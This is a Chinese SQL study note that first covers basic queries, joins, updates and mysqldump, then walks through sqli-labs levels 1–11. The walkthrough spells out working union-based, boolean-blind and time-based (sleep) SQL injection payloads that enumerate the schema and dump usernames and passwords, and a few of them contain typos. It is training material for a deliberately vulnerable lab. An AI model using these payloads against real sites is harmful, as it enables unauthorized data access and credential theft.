增删查改

查

//从user的所有中查

1	SELECT * FROM 'user' WHERE level >1;

//where 后面跟任意条件

//先 AND 后 OR

//查询等级为1,3,5的user

1	SELECT * FROM 'user' WHERE level IN (1,3,5);

//between and,查询1-10的,包括1和10

1	SELECT * FROM 'user' WHERE level between 1 and 10;

//NOT 放在任一条件语句前,(不在1-10)

1	SELECT * FROM 'user' WHERE level not between 1 and 10;

//模糊查询 LIKE %—- 任意个字符 _— 任意一个字符

1 2	SELECT * FROM 'user' WHERE name LIKE '王%' //姓王的 SELECT * FROM 'user' WHERE name LIKE '%王%' //含王的

//REGEXP:正则表达式

1
2
3

SELECT * FROM 'user' WHERE name REGEXP '^王.$'; //只有两个字的王姓'
SELECT * FROM 'user' WHERE name REGEXP '王'  //含王的
SELECT * FROM 'user' WHERE name REGEXP '[王张]'//含王或张的

//Exercise

查找邮件地址以张三开头的玩家

1 2	SELECT * FROM player WHERE address LIKE 'zhangsan%'; SELECT * FROM player WHERE address REGEXP '^zhangsan';

查找邮件地址以a/b/c 开头的玩家

1 2	SELECT * FROM player WHERE address REGEXP '^[abc]'; SELECT * FROM player WHERE address REGEXP '^[a-c]';

查找邮件地址为空的玩家(null与任何值都不相等)

1
2
3

SELECT * FROM player WHERE address is null; 
SELECT * FROM player WHERE address is not null;
SELECT * FROM player WHERE address <=> null;

//ORDER BY

1
2
3

SELECT * FROM player ORDER BY level //按等级升序排序(从小到大)
SELECT * FROM player ORDER BY level DESC, exp//等级降序,经验升序
SELECT * FROM player ORDER BY 5 DESC //按照第五列降序

// group by

SELECT sex,count(*) from player group by sex //按性别分组
SELECT level,count(level) from player group by level //每个等级的数量
SELECT level,count(level) from player group by level having count(level) > 4 //大于四级
SELECT level,count(level) from player group by level order by count(level) DESC//按数量降序排列

//Exercise2

统计每个姓氏玩家的数量,并将结果按照数量来降序排列,只显示数量大于等于5的姓氏,只返回前三名

1	SELECT SUBSTR(name,1,1),count(SUBSTR(name,1,1)) from player group by SUBSTR(name,1,1) having count(SUBSTR(name,1,1))>=5 order by count(SUBSTR(name,1,1)) DESC LIMIT 3

LIMIT 偏移量返回数量

1	LIMIT 3,3 //表示第四名到第六名

DISTINCT 去重
1
SELECT DISTINCT sex from player

UNION 把这俩合并

1
2
3

SELECT * FROM 'user' WHERE level between 1 and 3;
UNION
SELECT * FROM 'user' WHERE exp between 1 and 10;

INTERSECT交集

1
2
3

SELECT * FROM 'user' WHERE level between 1 and 3;
INTERSECT
SELECT * FROM 'user' WHERE exp between 1 and 10;

EXCEPT 差集

1
2
3

SELECT * FROM 'user' WHERE level between 1 and 3;
EXCEPT
SELECT * FROM 'user' WHERE exp between 1 and 10;

子查询

1 2	SELECT AVG(level) from player //查询平均等级 SELECT * from playey where level > (SELECT AVG(level) from player);

exists

1	select exists(select * from where level >100)//是否存在100级以上的

DESCRIBE player; //快速描述数据库内容

插入

INSERT INTO ‘user’ (username, ‘password’, isAdmin) VALUES(‘张三’, ‘1111’, 0)
//向user中的username,password,isAdmin中插入下面三个值

更新

UPDATE ‘user’ SET isAdmin = 0 WHERE id = 1;
ALTER table player MODIFY COLUMN name VARCHAR(200);
//把name的类型改为varchar(200)
ALTER table player RENAME COLUMN name to nick_name;
//把name的名字改变
ALTER table player ADD COLUMN last_login DATETIME;
//新建一个列
ALTER table player DROP COLUMN last_login;
//删除一个列
alter table player modify level int default 1;
//设置列默认值为1;

删除

DELETE FROM ‘user’ WHERE id = 16

导出

1	mysqldump -u root -p game>game.sql

导入

1	mysql -u root -p game <game.sql

表关联

1
2
3

INNER JOIN
LEFT JOIN
RIGHT JOIN

1
2
3

select * from player
inner join equip
on player.id=equip.player_id

这条 SQL 查询语句通过 INNER JOIN 将 player 表和 equip 表连接起来，返回所有匹配的行。它只返回两个表中满足连接条件的数据，不匹配的行不会出现在结果中。

sqli-labs

第一关

输入?id=1，?id=2判断在数据库中查询
之后输入 ?id=1’，?id=1’ –+判断sql语句是否拼接，是数字型还是字符型
输入?id=1’order by 3 –+发现页面正常
输入?id=1’order by 4 –+页面出错说明表只有三列
输入?id=-1’union select 1,2,3–+爆出显示位,发现第二列和第三列显示
输入?id=-1’union select 1,database(),version()–+,发现当前数据名和版本号
利用获取的security,输入?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’–+得知数据库有四个表，账号密码可能在users表中
输入?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’–+爆字段名，发现username和password
最后输入?id=-1’union select 1,2,group_concat(username,password,id) from users–+得到密码

第二关

输入?id=1’时报错并且没出现数字发现是数字型剩余步骤除了没有’ –+意外都和第一关一致

第三关

输入?id=2’时报错可推断sql语句是单引号字符型且有括号，所以我们需要闭合单引号且也要考虑括号。
即?id=2’) –+
之后步骤在括号和–+之中进行，与第一关一致

第四关

双引号括号

小结：首先判断闭合符号，闭合符号有4种（’、”、’)、”))之后公式走

第五关

因为没有数据库信息进行回显，因此我们采取盲注，思路差不多

判断闭合符号,发现是’ –+
输入?id=1’ and length((select database()))=* –+ 判断数据库长度(数字一个一个试或写脚本)
输入?id=1’ and substr((select database),1,1)=* –+ 得出数据库具体名称(substr((在哪里),第几个,取几个))
输入?id=1’ and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=* –+ 得出表名字符长度
输入?id=1’ and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)=* –+ 得出所有表名
输入?id=1’ and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’))=* –+ 得出字段名长度
输入?id=1’ and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),1,1)=* –+ 得出所有字段名
输入?id=1’ and substr((select group_concat(username,password) from users),1,1)=* –+ 得出所有内容

第六关

只需将第五关的单引号换成双引号，其余一致

第七关

id=1’))–+

第八关

与第五关一致

第九关

界面显示一致，利用时间注入

输入?id=1’ and if(1=1,sleep(5),1)–+
输入?id=1’ and if(length((select database()))=8,sleep(5),1)–+ 如果长度=8为真则页面延迟10s
输入?id=1’ and if(ascii(substr(select database())1,1))=115,sleep(5),1)–+
输入?id=1’ and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=* ,sleep(5),1)–+
输入?id=1’ and if(ascii(substr(select group_concat(table_name) from information_schema.tables where table_schema=database()))=* ,sleep(5),1)–+
输入?id=1’and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’))>20,sleep(5),1)–+
输入?id=1’and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),1,1))>99,sleep(5),1)–+
输入?id=1’ and if(length((select group_concat(username,password) from users))>109,sleep(5),1)–+
输入?id=1’ and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)–+

第十关

将单引号换成双引号。

第十一关

post型
在用户名处判断闭合符号，然后使用联合注入
注意只有两列，因此union select 1,group_concat()即可